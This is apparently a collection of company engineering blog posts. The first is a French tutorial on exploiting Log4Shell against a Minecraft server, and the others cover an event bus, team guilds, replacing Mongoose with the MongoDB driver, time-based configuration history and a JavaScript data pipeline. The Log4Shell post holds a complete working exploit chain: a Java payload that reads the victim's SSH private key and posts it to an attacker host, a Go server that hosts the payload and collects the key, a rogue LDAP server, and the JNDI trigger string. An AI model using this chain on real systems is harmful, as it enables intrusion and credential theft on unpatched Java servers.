-
Comprendre (et exploiter 😈) la faille log4shell
Log4j, qu’est-ce que c’est ?
Log4j est une des librairies de log parmi les plus utilisées par les applications codées en java. La liste des entreprises qui l’utilise est longue, on y compte notamment des géants comme Apple, Google, Microsoft ou encore Steam.
La faille Log4Shell
Log4shell c’est le nom donné à cette vulnérabilité. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille très dangereuse est que d’une part elle est très facile à exploiter et d’autre part,la librairie log4j est utilisée dans un grand nombre de projets. Sur github plus de 300 000 dépôts utilisent cette dépendance.
Log4j comprend une fonctionnalité de lookup. C’est à dire qu’elle peut interpréter certaines instructions qui seraient inclues dans les données loggées. Par exemple si on lui demande de logger
${env:USER}
, cette chaîne de caractères va automatiquement remplacée par la valeur de la variable d’environnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory interface), qui en soit n’est pas problématique, on va juste chercher une valeur ailleurs et la logger. Quand on la combine a ldap (un annuaire clé valeur) il devient possible de faire exécuter du code. Pour comprendre comment cela marche, on a va passer à la pratique dans la partie suivante.Exploitons cette faille
Passons maintenant aux travaux pratiques. Pour réaliser une attaque, on va utiliser deux ordinateurs. Le premier sera l’ordinateur cible, qui fera tourner le serveur, le second (à l’adresse 192.168.1.22) sera l’ordinateur attaquant qui va héberger le serveur http et jdni.
Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)
Pour commencer, on lance le serveur minecraft avec la commande suivante :
java -Xmx1024M -Xms1024M -jar .\\\\server.jar nogui
On va ensuite avoir besoin d’un code java malicieux qui sera exécuté sur la machine qui héberge le serveur minecraft. Dans cet exemple on va lire la clé privée de l’utilisateur et l’envoyer à un serveur distant via http.
Voici le code qui fait ça :
import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.nio.charset.StandardCharsets; import java.io.BufferedReader; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; public class MinecraftRCE { static { try { URL url = new URL("<http://192.168.1.22:8080/data>"); URLConnection con = url.openConnection(); HttpURLConnection http = (HttpURLConnection) con; http.setRequestMethod("POST"); StringBuilder sb = new StringBuilder(); try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) { String line; while ((line = br.readLine()) != null) { sb.append(line).append("\\\\n"); } } catch (IOException e) { System.err.format("IOException: %s%n", e); } byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8); int length = out.length; http.setFixedLengthStreamingMode(length); http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); http.setDoOutput(true); http.connect(); try(OutputStream os = http.getOutputStream()) { os.write(out); } http.disconnect(); } catch (Exception e){ e.printStackTrace(); } } }
On compile ce bout de code avec
javac
pour obtenir un fichierMinecraftRCE.class
:javac MinecraftRCE.java
La prochaine étape est de servir ce fichier
.class
sur un endpoint http. Plusieurs options pour réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un serveur http avec la librairie standard :package main import ( "bytes" "io/ioutil" "log" "net/http" ) func dataHandler(_ http.ResponseWriter, req *http.Request) { buf, _ := ioutil.ReadAll(req.Body) rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf)) log.Printf("secret data: %q", rdr1) } func main() { fs := http.FileServer(http.Dir("./java")) http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1 http.HandleFunc("/data", dataHandler) // 2 println("waiting for secret data") http.ListenAndServe(":8080", nil) }
Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :
- Il sert sur la route
/static
le fichierMinecraftRCE.class
qui est dans le dossierjava
- Il écoute sur la route
/data
et affiche lebody
de la requête. C’est sur ce endpoint qu’on recevra la clé privée envoyée par le script java malicieux.
Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :
const ldap = require('ldapjs'); const server = ldap.createServer(); server.search('', (req, res, next) => { const obj = { dn: req.dn.toString(), attributes: { javaClassName: "MinecraftRCE", javaCodeBase: "<http://192.168.1.22:8080/static/>", objectClass: "javaNamingReference", javaFactory: "MinecraftRCE", } }; res.send(obj); res.end(); }); server.listen(1389, () => { console.log('LDAP server listening at %s', server.url); });
On lance ce serveur avec node :
node index.js
Tout est en place pour passer à l’action. On se connecte au serveur minecraft comme un joueur normal et on peut déclencher l’attaque. Pour ce faire il suffit de taper dans le chat le texte suivant :
${jndi:ldap://192.168.1.22:1389}
C’est cette chaîne de caractères qui sera envoyée à log4j. Aussitôt qu’on a appuyé sur entrée on reçoit bien la requête avec la clé privée de la victime sur notre endpoint http
/data
.On reçoit même la requête 3 fois, sans doute parce que la chaîne est loggée 3 fois dans le code de minecraft.
Nous avons donc démontré que la faille log4shell peut facilement être exploitée. Dans notre exemple assez simple on s’est contenté de lire la clé privée, mais ce n’est pas la seule exploitation possible. C’est pourquoi il est fortement recommandé de garder ses logiciels à jour.
https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
https://news.fr-24.com/technology/591640.html
https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/
- Il sert sur la route
-
Introduction du bus d’entreprise chez Indy
tag : scalabilité, architecture
Récemment, chez Indy nous avons pris la décision d’ajouter un bus d’entreprise à la stack technique.
Nous allons passer en revue certaines des raisons qui nous ont poussé à faire ce choix.
Contexte : L’équipe tech et product est désormais composée de 39 personnes dont 32 développeurs.
Cette décision n’est pas forcément facile à prendre car elle introduit de la complexité nouvelle dans la stack technique. Ainsi que des techniques et des pratiques pour lesquelles la plupart des développeurs de l’équipe ne sont pas encore familiers.
Néanmoins après avoir réfléchi à la question et à la connaissance des personnalités qui forment l’équipe, je pense que c’est la voie de la scalabilité pour la boîte. Ce ne sera peut-être pas votre cas, donc je partage notre prise de décision et je ferai une suite d’articles sur l’adoption de cette pratique après quelques mois puis après un an.
Fils conducteurs
Pour expliquer comment l’architecture évolue, on peut citer nos fils conducteurs, et résumer la situation actuelle.
Nous avons un monolithe principal (Indy) sur lequel se trouvent les règles métiers, qui sert de backend à notre frontend et qui synchronise aussi un petit régiment d’outils externes. Ces outils ne sont pas liés à notre produit principal mais participent au bon fonctionnement de l’entreprise, notamment la synchronisation de nos différents CRM.
Historique
L’app a commencé simplement avec une connection Indy <-> Intercom. Intercom est l’outil utilisé par nos care pour faire la relation client. La première intégration demandée a été de remonter des informations du client sur Intercom comme : L’utilisateur est-il abonné ? A-t-il terminé sa clôture, dans quel régime fiscal se trouve-t-il ?
Puis nous avons eu une intégration Gsheet avec l’équipe marketing qui sortait des données d’Intercom à des fins d’analyses. Synchro au début manuelle qui est passé automatique.
Un peu plus tard, nous avons intégré le CRM de l’équipe Sales : pipedrive, ici aussi nous avons du remonter des informations du produit vers Pipedrive pour simplifier le travail des Sales en automatisant certaines actions sur pipedrive. Mais ici la relation est à double sens car nous devions récupérer des informations sur le commercial pour l’équipe marketing, ça remontait alors dans l’application pour aller dans Intercom pour aller ensuite dans GSheet (!).
/!\ Premier warning d’architecture ici : L’app Indy servait d’intermédiaire pour synchroniser pipedrive et notre BI de l’époque, code qui ne servait pas du tout l’intention originelle de l’app qui était de servir le client, c’était du code d’entreprise pur.
Puis nous avons ajouté Metabase qui aggrège les données des différents CRM ainsi que les données de l’application dans un outil qui sert à faire de la visualisation de données et de la BI.
Avec la croissance, on a continué à empiler les intégrations : Ringover pour des besoins sales, puis Trello pour de l’automatisation produit.
Nous avons continué avec des app internes qui manipulent l’API de CRM pour des besoins internes (autour de l’affectation d’Intercom), des intégrations entre nos CRM : Intercom et Pipedrive car des données de l’un étaient nécessaires dans l’autre.
Et le dernier ajout Slack qui s’intègre avec quasiment tous les autres services pour avoir nos infos dans notre outil de communication.
Le schéma devient vite complexe et il devient difficile pour un développeur, même ancien, de comprendre le flux de données et d’expliquer tout ce qu’il se passe sur notre système d’information.
Et ce schéma ne montre pas toute l’intégration de monitoring de l’application et des intégrations ! Ce n’était pas très gênant au début, mais cette complexité a conduit à des régressions.
Un fil conducteur sera alors : Le besoin d’être en mesure d’expliquer le sens des flux de données.
- Avoir une architecture plus explicite et systématique au niveau des synchros
- Que le sens de circulation des données soit plus explicite et systématique aussi
Un autre fil conducteur sera alors : Être en capacité de facilement rajouter une synchro sur le SI existant sans modifier le produit comptable et les autres services
Typiquement si demain on ajoute un nouveau CRM, il doit pouvoir écouter les évènements existants, faire sa propre synchro et en cas de crash, le faire sans impacter les autres services. En particulier le produit où se trouvent les clients.
Exemple d’échec suite à cet état :
Certaines API de nos CRM nous imposent un rate limit, ce qui n’est pas problématique au début mais avec la croissance de la boite on vient toucher ce rate limit inévitablement et une fois atteint, la plupart de nos requêtes échouent et notre synchronisation est perdue. C’est arrivé et le début du débug fut long et fastidieux car nous avions plein d’intégrations avec ce CRM, chacune plus ou moins bien monitorée. Il était alors difficile de trouver l’intégration qui posait problème et qui explosait le rate limit :
- Était-ce notre application principale ?
- Était-ce les ZAP (de Zapier) mis en place ?
- Était-ce son intégration avec un autre CRM ?
- Était-ce les jobs journaliers ? etc…
Une fois trouvé, comment respecter ce rate limit ? Comment le répartir sur les différentes intégrations ? Alors qu’elles n’ont pas la même criticité, qu’elles ne sont pas actives au même moment dans la journée, est-ce qu’il faut mettre en place une pile etc…
Nous avons perdu quelques semaines à résoudre ce point-là.
Volonté de changer
Ces problématiques sont assez classiques dans l’industrie et il existe beaucoup de littérature sur le sujet. Après nous être renseigné, nous avons décidé d’agir et de nous aligner sur ce qui se fait de manière générale sans chercher à être trop original.
Avec la croissance de la base de code et de l’équipe, nos drivers architecturaux (et humains) sont dorénavant :
- Découplage et autonomie des squads
- Pas d’erreur sur le produit principal
- Garder la volonté d’extension rapide de notre produit et SI
=> Il faut découpler ce qui peut l’être quitte à échanger un peu de complexité et introduire de nouvelles technologies. Les synchros propres à une squad et qui ne font pas partie du produit comptable sont des bons candidats.
Alléger notre codebase principale
Pourquoi sortir du code ? Retirer du code sans impacter nos fonctionnalités a toujours l’avantage de le rendre plus simple avec une interface exposée aux bugs plus faible. Il en va de même pour les dépendances, car la plupart des synchros viennent avec leur SDK et dépendances. L’envie de sortir le code de ces synchros, qui pèse dans la codebase du produit principal, s’est fait ressentir suite à des expériences parfois douloureuses sur les problématiques citées plus haut. Pour alléger le code du dépôt principal et du monolithe, ainsi qu’alléger ses dépendances, nous avons décidé de sortir le code qui n’était pas vital à notre métier : la compta.
Ceci permet d’avoir des équipes qui travaillent sur des dépôts différents pour du code qui a un but et une criticité complètement différentes, les laissant faire leur choix d’architecture, de CI et de process.
Je voulais aussi un découplage maximal, c’est pourquoi la solution d’appeler des services directement en HTTP ne me plaisait pas. Le pattern pub/sub est tout indiqué ici et est largement discuté dans la littérature, ce qui nous a amené assez rapidement sur cette proposition :
Tous les services ne sont pas représentés…
Le BUS fait office de SPOF (single point of failure), mais si le BUS tombe il n’y a pas d’impact sur le service pour les clients finaux.
Impacts sur le respect de SOLID
Le principe SRP (Single Responsibility Principle) est mieux respecté, il est plus facile de faire évoluer chaque petit module. Si l’API d’intercom change, on change le service en question et pas l’application de comptabilité, de même pour les autres services cloud.
Le principe OCP (Open/Closed Principle) est mieux respecté aussi. Si demain on veut ajouter un service, on peut le rajouter comme consumer du BUS sans toucher au reste du SI.
Gestion de la donnée nécessaire aux services externes
Une question se pose alors : comment envoyer sur le bus la donnée métier nécessaire aux applications de synchronisation de nos CRM ? Typiquement, lors d’un event user/subscribe par exemple, le nom de l’event et l’ID de l’utilisateur en soit ne suffisent pas. Le service pipedrive ou Intercom qui écoute sur le bus va vouloir que de la donnée soit attachée à l’évènement. Il existe alors trois solutions :
- Base de données partagée
- en PULL : les services appellent le produit principal à travers le réseaux
- en PUSH : le produit envoie la donnée sur le bus
1. Shared database :
Très rapidement écarté car cela ne sert à rien de découpler le code s’il reste couplé par le schéma de base de données. Ce modèle est trop fragile et bug-prone.
2. PULL Le service va chercher l’information par API :
Dans ce modèle, on essaye de garder le produit principal le plus simple possible en envoyant un évènement technique sans données métiers (uniquement des IDs). C’est au CRM en question de savoir quelles données il désire et d’aller les récupérer en interrogeant, par exemple, une simple API CRUD qui expose lesdites données.
Avantages :
Le code de l’émetteur de l’event reste simple. On ne fait pas apparaître une fonction
buildEvent
qui va aggréger des données qui, de première abord, n’ont rien à voir avec le cas d’utilisation car c’est une spécifité de l’app de sync d’un CRM.Désavantages :
Nous avons des routes qui sont potentiellement utilisées par des clients (l’interface) ou des apps internes. Il faut pouvoir les monitorer pour savoir si elles sont toujours utilisées ou non. Beaucoup de données transitent par le réseau donc il y a plus de risques d’erreur.
3. PUSH La data est formatté par Georges puis accroché à l’évènement
Ici la donnée est formattée dans l’émetteur directement puis attachée à l’event pour être envoyée sur le bus. Les modules n’ont pas à aller interroger l’émetteur pour récupérer des données supplémentaires.
L’enjeu ici est de ne pas polluer le cas d’utilisation d’une route métier avec l’agrégation de donnée qui serait un enjeu non fonctionnel, juste une spécificité de nos outils de sync.
Avantages :
Possible de retrouver un cas d’utilisation simple débarassé des fonctions buildEvent (qui ne seront pas dans le même fichier).
On évite les appels de nos app vers Georges et les appels API qui partent dans tous les sens et qui sont dur à monitorer.
Désavantages :
Un peu plus de discipline dans le code de l’émetteur . On veut éviter que la fonction de
buildEvent
, celle qui va aggréger des données métiers nécessaires à nos outils mais non nécessaires au cas d’utilisation soit dans la route de ce dernier. Ceci peut être accompli avec des évènements internes et un pattern Observer (voir futur billet de blog).Conclusion
Je peux avoir des squads spécialisées sur le produit comptable qui n’ont pas connaissance des outils internes de la boîte !
Je peux avoir des squads spécialisées sur la maintenance de nos outils internes sans connaissance sur le produit comptable au-delà des données qui les intéressent (celle qui transitent sur le BUS).
L’enjeu, ici, est désormais de définir et respecter un contrat de données qui va passer sur le BUS. Cela peut être le rôle du CTO (qui est inter-squads), d’une personne de l’équipe data, d’un OPS. Le rôle étant de faire respecter ce contrat et vérifier la cohérence des données qui passent sur le BUS, (c’est-à-dire donner la spécification des buildEvents).
-
Les guildes
Les guildes techniques
Chez Indy, l’équipe tech est composée de plusieurs squads qui comprennent un Product Manager, un lead ainsi qu’un ou plusieurs devs. Ces squads travaillent indépendamment sur des sujets divers et sont parfois amenées à travailler ensemble à court terme sur un sujet commun de refacto ou lors des phases de conception.
Cependant, il est parfois un peu compliqué de créer du lien inter-squad.
De là est née l’envie de créer un autre format d’équipe, qui serait transverse aux squads : les guildes. N’importe qui pourrait alors proposer un sujet sur lequel il ou elle a envie de travailler, les interessé(e)s se manifestent pour ainsi former un groupe, idéalement avec une personne par squad pour creuser ce sujet.
Les guildes n’ont pas d’obligation de résultat, ni de roadmap imposée, elles sont là pour étudier en amont des sujets qui sont ensuite proposés à l’ensemble de l’équipe tech pour validation. Elles se réunissent 1h par semaine ou toutes les 2 semaines et choisissent elles-même les sujets sur lesquels elles veulent travailler. Les participants ne sont pas forcément experts du sujet mais ont envie de se former dessus.
Exemple de guildes
Deux guildes sont déjà en place : une guilde Mongo et une guilde TypeScript.
La guilde TypeScript a étudié la possibilité de migrer l’app vers TypeScript, puis après validation de l’équipe tech, a permis que l’app puisse vivre à la fois en Javascript et en TypeScript, pour que chaque personne puisse (ou non, car ce n’est pas obligatoire) coder avec ce qu’elle préfère. Cela nous permet ainsi de tester sur une petite partie de l’app et dans plusieurs cas, si TypeScript est adapté ou non à nos besoins.
La guilde Mongo travaille quant à elle sur l’optimisation des index, elle est aussi intervenue sur le sujet de l’automatisation des migrations de données ou encore la mise en place d’une BDD de staging pour des tests de performance. La première action de cette guilde lors de sa création a d’ailleurs été de passer un cours Atlas sur les index.
En résumé, on peut voir ces guildes comme un moyen de veille et de formation en petit groupe. C’est aussi l’occasion de travailler avec d’autres collègues, et ainsi d’échanger sur des besoins ou des méthodes qui gagnent à être partagés.
-
Comment se passer de Mongoose ?
Avantages / inconvénients de Mongoose
Avantages
- Library utilisée de facto par la communauté NodeJS pour MongoDb. On retrouve donc beaucoup de documentation.
- Permet de définir des models de données et d’enforcer leur validation, ce que ne permettait pas MongoDb < 3.2 (Schema Validation — MongoDB Manual)
- La librairie est stable et maintenue depuis de nombreuses années
- Propose quelques méthodes haut niveau comme
populate
pour simplifier unaggregate
et un$lookup
. - Propose un système de hooks permettant d’exécuter des actions avant / après un type de query (par exemple rajouter un log après un insert en base)
Inconvénients
- La validation des schémas se fait au niveau applicatif, il n’y a donc pas de validation lorsqu’on interagit avec la base de données depuis des clients autres (mongo shell, Compass, …) ce qui laisse la place à des erreurs.
- Mongoose ne retourne pas de POJO mais des objets qui lui sont propres. On peut donc les muter puis les sauvegarder en base grâce à l’utilisation de
model.prototype.save()
. Attention alors quand on utilise ces objets et qu’on les fait circuler dans notre chaine d’appels, il y a un risque d’effet de bord. Il est possible de rajouter un appel àlean()
à nos queries pour que Mongoose retourne un POJO (Mongoose v6.1.1: API docs) :Users.find({ first_name: 'Léo' }).lean()
; - Les performances sont moindres comparé au driver natif (MongoDB Native Driver vs Mongoose: Performance Benchmarks | Jscrambler Blog)
- L’API de Mongoose diffère parfois légèrement de celle de Mongodb qu’il faut connaitre pour éviter des comportements inattendus (par exemple les méthodes pour muter les données sont wrappées dans un
$set
de manière transparente).
L’équipe de MongoDB a fait un comparatif assez complet ici : MongoDB & Mongoose: Compatibility and Comparison
Validation des données : Json Schema vs mongoose
Mongoose :
new Schema({ firstName: { type: String, required: true, min: 2, }, lastName: { type: String, required: true, min: 2, }, phone: { type: String, validate: { validator: function(v) { return /\\\\d{3}-\\\\d{3}-\\\\d{4}/.test(v); }, message: props => `${props.value} is not a valid phone number!` }, required: [true, 'User phone number required'] }, });
Json Schema :
{ properties: { firstName: { type: 'string', minLength: 2 }, lastName: { type: 'string', minLength: 2 }, phone: { type: 'string' }, }, required: ['firstName', 'lastName'], }
On voit ici que JSON Schema ne permet pas d’implémenter des logiques de validations personnalisées puisque que ce sont des schemas statiques. Ils ont ainsi l’avantage d’être language agnostic ou encore de pouvoir être retourné par une API à un client qui pourra l’exploiter.
Ici il faudra alors valider le format du champ
phone
au niveau du code métier de l’application.Utiliser la validation MongoDB Json Schema
Depuis la version 3.2, il est possible d’enforcer la validation d’un document MongoDB à partir d’un JSON Schema (Specification | JSON Schema), bien que ce ne soit vraiment utilisable que depuis la v5 qui rajoute la raison pour laquelle une validation a été rejetée.
{ "code": 121, "errmsg": "Document failed validation", "errInfo": { "failingDocumentId": ObjectId("5fe0eb9642c10f01eeca66a9"), "details": { "operatorName": "$jsonSchema", "schemaRulesNotSatisfied": [ { "operatorName": "properties", "propertiesNotSatisfied": [ { "propertyName": "price", "details": [ { "operatorName": "minimum", "specifiedAs": { "minimum": 0 }, "reason": "comparison failed", "consideredValue": -2 } ] } ] } ] } } }
Dans l’exemple ci-dessus on peut voir que la validation a échoué puisque le champ
price
ne pouvait pas avoir une valeur inférieure à 0.Ajouter un Json Schema à une collection MongoDB
Il est possible d’ajouter une validation Json Schema a une collection existante :
db.runCommand({ collMod: "users", validator: { $jsonSchema: { bsonType: "object", required: ["first_name", "last_name"], properties: { first_name: { bsonType: 'string', minLength: 2 }, last_name: { bsonType: 'string', minLength: 2 }, } }, }, });
Par défaut, MongoDB applique la validation sur TOUS les documents existants, incluant ceux qui ne respectent pas le schema de validation (si votre model a évolué au fil du temps par exemple, attention à ce que le schema ne soit pas trop restrictif). Il est possible de demander à MongoDB de n’enforcer la validation que sur les documents existants qui respectent les règles de validation en rajoutant
validationLevel: ‘moderate’
à la query (par défaut sa valeur est strict).Plus de détails dans la documentation de MongoDB : Schema Validation — MongoDB Manual
Intégration dans une application NodeJS
En prenant cet exemple d’application Node ExpressJs qui utilise Mongoose : Node.js (forked) – StackBlitz
Intégrer le client MongoDB
Installer le client :
npm i —save mongodb
.On vient mettre à jour
initDatabase
pour utiliser le driver :async function initDatabase() { const client = new MongoClient(connectionString, { serverSelectionTimeoutMS: 1000, }); await client.connect(); const db = client.db(config.dbName); await createCollections({ db, models }); // une première étape qui permet de créer les collections en base si nécessaire await registerJsonSchemaValidators({ db, models }); // une deuxième étape dans laquelle on vient enregistrer les json schemas de validation pour chaque collection loadDriverCollections({ db, models }); // et une dernière étape qui va nous servir à garder en mémoire l’instance de chaque db.collection du client MongoDB (ce sera plus clair par la suite). }
Ici on rajoute trois étapes en plus de la connexion à la base
Comme l’idée ici est de pouvoir migrer facilement de Mongoose au MongoDB driver, il va falloir faire en sorte de minimiser les différences d’utilisation entre notre librairie et Mongoose, notamment pour ce qui est d’utiliser les models.
Nous allons donc exposer une fonction
registerModel
qui aura à la fois comme but de créer le model en interne, mais aussi d’en récupérer une instance pour pouvoir l’utiliser directement, comme le propose mongoose :const UserModel = require('../models/User'); function findOneUserById({ userId }) { return findOne({ _id: userId }); }
L’implémentation de la fonction
registerModel
:const models = {}; function registerModel(name, { schema }) { Object.assign(models, { [name]: { name, schema, collection: {}, // mongodb driver collection instance }, }); return models[name].collection; }
Premièrement, on vient rajouter un object
models
qui nous permettra de garder en mémoire au sein du module les models enregistrés par l’application.Pour l’exemple, le format d’un model est très simple puisqu’on voit qu’il ne se compose que d’un
name
et d’unschema
(le JSON schema). On pourrait très bien imaginer rajouter d’autres propriétés telles queindexes
nous permettant de créer des index…On initialise un model vide à l’appel de
registerModel
grâce àObject.assign
. La propriétécollection
est un object vide (qui contiendra une fois la connexion avec MongoDB établie l’instance de la collection du driver MongoDB) ce qui nous permettra de le modifier par référence un peu plus tard.On peut maintenant définir un model comme suit :
const userSchema = { bsonType: 'object', properties: { email: { type: 'string', format: 'email' }, password: { type: 'string', minLength: 8 }, }, required: ['email', 'password'], }; module.exports = registerModel('user', { schema: userSchema, });
On voit ici que le format
email
est supporté par JSON Schema ce qui est plutôt pratique.La liste des types supportés par JSON Schema est disponible ici JSON Schema Reference — Understanding JSON Schema 2020-12 documentation
Il ne manque plus qu’à créer la collection en base (si nécessaire, on ne créer que celles qui n’existent pas) et à lui assigner un JSON Schema.
async function createCollections({ db, models }) { const existingCollections = await db .listCollections({}, { nameOnly: true }) .toArray(); const modelsCollectionsNames = _.map(models, 'name'); const collectionsToCreate = _.difference( existingCollections, modelsCollectionsNames ); const createCollectionsPromises = _.map( collectionsToCreate, (collectionName) => db.createCollection(collectionName) ); return Promise.all(createCollectionsPromises); }
On récupère tout d’abord la liste de noms des collections existantes en base (
await db.listCollections({}, { nameOnly: true }).toArray()
) puis on vient récupérer celles qui n’existent pas pour finalement les créer.function registerJsonSchemaValidators({ db, models }) { const registerValidatorsPromises = _.map(models, ({ schema, name }) => db.command({ collMod: name, validator: { $jsonSchema: schema }, validationLevel: 'strict', }) ); return Promise.all(registerValidatorsPromises); }
Ensuite on vient mettre à jour notre référence à l’objet collection du MongoDB driver pour NodeJS :
function loadDriverCollections({ db, models }) { _.forEach(models, (model) => { const collection = db.collection(model.name); Object.assign(model.collection, collection); }); }
En terme d’usage, c’est très proche de ce que peut proposer Mongoose bien qu’il manque certains sucres syntaxiques tels que
populate
pour faire des aggregations ou encoresort
etpaginate
. Il faudra plutôt utiliser unaggregate
MongoDB pour les remplacer, ce qui a aussi l’avantage d’écrire des queries utilisables à la fois dans notre application que dans un Mongoshell ou autre client MongoDB.Projet d’exemple : Mongodb driver – StackBlitz
-
Tracking configuration updates over time
When we think of user configuration, we usually represent it as a fixed and global value. For example, a user only has a single email address and has a preferred display language. It can be updated at any time, replacing the old value. When we need to send an email, we just have to look for these values and we don’t need to know what the previous values were, we only need the latest configuration.
However, we may need to know what these configurations were at any given time. At Indy, our users may change their fiscal preferences depending on their obligations across the years. Current user settings may not be the same as they were 6 months ago, but we still have to know and support previous configurations in case the user needs to amend their previous declarations.
This requirement first arose for VAT (value added tax) declarations: given your profits and your personal choices, you may or may not be required to declare your VAT. And if you are, you can either declare them monthly, quarterly or yearly. This has various implications across the application: some tax calculations and forms need to know if the user is liable to VAT. At first, we naively stored this information as any other basic configuration value, overwriting previous values at each update. As a result, when a user needed to make adjustments to a previous tax declaration, let’s say for fiscal year 2019, and VAT configuration was updated in the meantime for fiscal year 2020, we mistakenly took this new value into account for 2019.
We needed to find a way to store what we call “historized configuration values”: we must be able to answer this kind of questions:
- “Was the user liable to VAT on September 17th, 2020?”
- “Was the user liable to VAT at least once in 2021?”
- “Since when has the user been liable to VAT?”
- “On what period does the user have to make monthly VAT declarations?”
ℹ️ As we use MongoDB for our app database, we use the term “document”. It can be read as “row” in a SQL database context.
The naive solution
The first “obvious” solution that comes to mind is to store a configuration timeline for each user, an array of objects containing configuration values and their validity timeframes (start and end dates). At signup, we create for the user a single document containing an initial start date, for example in 1970, and no end date, as this is the user current configuration. When the user makes an update, they now have to provide the date from which the change is effective. We create a new document with the start date being the provided effective date, and update the previous document by setting the end date to the new configuration start date. Later on, when we need to get configuration at a given date, we just have to look for the configuration document that contains it within its time range.
But this solution has a major flaw: we need to take great care in updating our configuration documents, ensuring that the timeline is complete, each configuration end date being the start date of the following configuration. As configuration updates can be retroactive, we may even have to delete whole documents if the new one completely overlaps their time range. So at each configuration update, we have to make up to three different operation types, that can damage timeline integrity if done incorrectly :
- Insertion for the new configuration document
- Updates for previous documents, updating their timeframe to ensure a gapless timeline
- Deletion of “shadowed” configuration documents when their period is overridden by the new one
Here is a little diagram illustrating an update scenario: if we create the new orange configuration starting before the blue end date, we have to update its end date and delete the green and red documents as they are completely overwritten by orange.
On the other hand, accessing configuration values is trivial, as simple as a database request with date filters. But we preferred to go on with another solution that makes configuration access slightly more complex, in exchange for data integrity and consistency guarantees.
The immutable solution
Our final solution was heavily inspired by Martin Fowler’s Temporal Property article. He describes how we can hold configuration values on what he calls Value objects, with an Effectivity property, describing when this value is effective. We took his approach and terminology with an event sourcing pattern. We wanted each configuration update to imply a single document insertion in our database, without needing any form of updates on previous ones. This way, we ensure data consistency and minimise the risk of errors messing up with user configurations.
We ended up with this kind of configuration document:
{ "_id": "random_id", "user_id": "user_id", // The actual configuration payload "configuration": { "vat_selected": "vat_ht", "vat_frequency": "monthly" }, // Auto generated value, being this document creation date "known_at": { "$date": "2020-01-20T15:37:14.547Z" }, // User controlled value, telling when this configuration starts being active "effective_date": { "$date": "2000-01-01T15:37:14.547Z" }, // *Optional* user controlled value, telling when this configuration will expire and not be active anymore "end_date": { "$date": "2021-01-01T15:37:14.547Z" } }
Reading a configuration value at a given date consists of finding the most recent document (greatest known_at date) with an effective date before the given date, and an end date after the given date (if it exists). This does the job for our simplest requirement “I want to know what is the configuration at this specific point in time”, but the other requirements are a bit tougher to meet if we directly work with raw documents.
Instead, we create an intermediate representation that looks like the “naive timeline” we talked about earlier, which is way easier to work with.
Temporal documents are represented here as colored lines (blue, green and red), each color being a single value, valid for the given time range. All of them have an effective date, being the dot at the beginning, and an optional end date, being the dot at the end.
From this raw representation of our configuration documents, we can construct a simpler, cleaner timeline (the colored rectangles at the bottom). From here, we can meet all of our requirements, and easily work through time and configurations! And icing on the cake, we can even reconstruct this final timeline as it was in the past; we only need to filter out documents that were created after a given date.
The implementation
We have multiple micro-services that need to access configuration histories, so we made a standalone internal npm package.
It is a collection of pure functions that can be instantiated by providing an array of raw configuration documents. In order to be interoperable with any type of configuration, it only relies on the presence of an effective date, end date and first known date on each document (the
TemporalDocument
type). So it can work with VAT configurations or anything else. Once instantiated, you get an HistoryService having the final timeline internal representation, and only exposes a set of generic functions that operate on it:export interface HistoryService<T extends TemporalDocument> { /** * Effective configuration at current date. * Returns `undefined` if no document is effective at that date. */ getCurrentConfiguration(): TimelineItem<T> | undefined; /** * Effective configuration at given date. * Returns `undefined` if no document is effective at that date. */ getConfigurationAtDate({ date }: { date: Date }): TimelineItem<T> | undefined; /** * An array of effective documents on given date range. * Returns an empty array if there is no effective documents on provided date range. */ getConfigurationsOnDateRange({ startDate, endDate }: { startDate: Date, endDate: Date}): TimelineItem<T>[]; }
For our specific use case of VAT configuration, we created a VatHistoryService that wraps our low level HistoryService, exposing only VAT-oriented functionality, ready to be used where needed in the app:
Wrapping up
It’s been almost a year since we deployed this solution for our users, and we are satisfied with the results. We no longer have issues with stale configurations nor data integrity problems.
However, this posed some challenges. For instance, at release time, we had to initialize user configuration for all users, based only on what we knew about them then. There was no way to know what their previous configurations were, and some users did not even complete their account setup by the time of initialization. Keep this in mind if you adopt this kind of solution on an existing system: there is no guarantee that stored past configurations are correct for users that signed up before historization setup.
Also, it is worth noting that this design makes configuration updates trivial, at the expense of data readability and accessibility. Specific developments have to be made to visualize configuration history (for debugging and customer support purposes, for example). But we believe that as long as our data is safely stored and updated, this is a tradeoff we are willing to make. In case of a bug, it is way easier to fix pure read-only functions than having to fix database data.
-
Data processing pipeline
Building an efficient data processing pipeline that remains easy to maintain over time can be quite challenging.
Models
Let’s consider for this article the following data structure which models an accounting transaction:
{ "balance": -3000, "date": "2021-09-01", "category": "food", "description": "Yummy Restaurant corp" }
For our system, we want to apply calculation rules such as “Sum of all the negative balances (debit) for the transactions which occurred in 2021 and labeled as ‘food’”. An additional constraint is that the amount of data to process can be substancial.
Declarative vs Imperative
A straightforward way to implement the rule aforementioned with modern Javascript idioms would be something similar to the following snippet:
const isBalanceNegative = (transaction) => transaction.balance < 0; const isIn2021 = (transaction) => new Date(transaction.date).getFullYear() === 2021; const isCategoryFood = (transaction) => transaction.category === 'food'; const sum = (a, b) => a + b; const getBalanceAmount = (transaction) => Math.abs(transaction.balance); const processingRule = (transactions) => transactions .filter(isBalanceNegative) .filter(isIn2021) .filter(isCategoryFood) .map(getBalanceAmount) .reduce(sum, 0);
We could have grouped the filter rules together as well
const isTransactionMatching = (transaction) => [isCategoryFood, isIn2021, isBalanceNegative].every((predicate) => predicate(transaction));
You can read it almost as plain English: it is declarative and the different steps are decomposed into various small functions. Therefore, this implementation is easy to maintain and will probably stand the test of time.
